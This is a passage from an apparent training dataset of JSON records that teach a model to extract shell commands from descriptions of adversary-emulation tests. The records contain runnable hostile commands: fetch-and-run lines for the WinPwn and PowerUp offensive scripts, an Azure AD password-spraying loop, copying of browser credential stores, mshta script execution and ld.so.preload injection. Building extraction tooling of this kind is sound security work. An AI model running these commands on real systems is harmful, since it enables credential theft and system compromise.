conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can locate .NET Service-Binaries by executing the WinPwn dotnet function via this command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndotnet -consoleoutput -noninteractive; To initiate PowerUpSQL checks with the powerSQL function of WinPwn, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndotnet -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For password spraying attacks against Azure AD, you'll need to authenticate first to retrieve all users, then test each account with a single password using this command sequence:\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{valid_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{valid_username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n($Users = Get-AzureADUser -All $true) > $null\nDisconnect-AzureAD > $null\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n\n$Users | Foreach-Object {\n  $user = $_.UserPrincipalName\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"$user\", $Pword\n  try {\n    Write-Host \" [-] Attempting #{password} on account ${user}.\"\n    Connect-AzureAD -Credential $Credential 2>&1> $null\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n    Write-Host \" [!] ${user}:#{password} are valid credentials!`r`n\"\n    Disconnect-AzureAD > $null\n  } catch {\n    Write-Host \" [-] ${user}:#{password} invalid credentials.`r`n\"\n  }\n}\nWrite-Host \"End of password spraying\"\n; For conducting DomainPasswordSpray attacks with WinPwn, use the following PowerShell command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndomainpassspray -consoleoutput -noninteractive -emptypasswords",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{valid_password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{valid_username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n($Users = Get-AzureADUser -All $true) > $null\\nDisconnect-AzureAD > $null\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n\\n$Users | Foreach-Object {\\n  $user = $_.UserPrincipalName\\n  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"$user\\\", $Pword\\n  try {\\n    Write-Host \\\" [-] Attempting #{password} on account ${user}.\\\"\\n    Connect-AzureAD -Credential $Credential 2>&1> $null\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] ${user}:#{password} are valid credentials!`r`n\\\"\\n    Disconnect-AzureAD > $null\\n  } catch {\\n    Write-Host \\\" [-] ${user}:#{password} invalid credentials.`r`n\\\"\\n  }\\n}\\nWrite-Host \\\"End of password spraying\\\"\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndomainpassspray -consoleoutput -noninteractive -emptypasswords\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This action mimics an attacker retrieving encrypted credentials from Firefox's profile directory by executing this command: Copy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Force -Recurse; To simulate an adversary accessing encrypted credentials from Edge's login database, use the following command: Copy-Item \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\\Edge\" -Force -Recurse\n",
    "output": "{\"command_list\": [\"Copy-Item \\\"$env:APPDATA\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" -Force -Recurse\\n\", \"Copy-Item \\\"$env:LOCALAPPDATA\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Edge\\\" -Force -Recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The remote script execution can be tested, resulting in calc.exe being launched, by running this command: mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();; To perform local user enumeration via a VB script, which mimics FIN7's technique of using mshta.exe to execute malicious code, use the following command: mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -noexit -file PathToAtomicsFolder\\T1218.005\\src\\powershell.ps1\"\":close\")",
    "output": "{\"command_list\": [\"mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();\\n\", \"mshta vbscript:Execute(\\\"CreateObject(\\\"\\\"Wscript.Shell\\\"\\\").Run \\\"\\\"powershell -noexit -file PathToAtomicsFolder\\\\T1218.005\\\\src\\\\powershell.ps1\\\"\\\":close\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute and intercept API calls, this test adds a shared library to the `ld.so.preload` list by running the following command: sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload'; This test demonstrates how bash can load a shared object library through the LD_PRELOAD environment variable with the command: LD_PRELOAD=#{path_to_shared_library} ls",
    "output": "{\"command_list\": [\"sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload'\\n\", \"LD_PRELOAD=#{path_to_shared_library} ls\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable the startup key with TPM for Bitlocker, use the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f; For setting up a startup PIN alongside TPM in Bitlocker, run the command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UsePIN /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
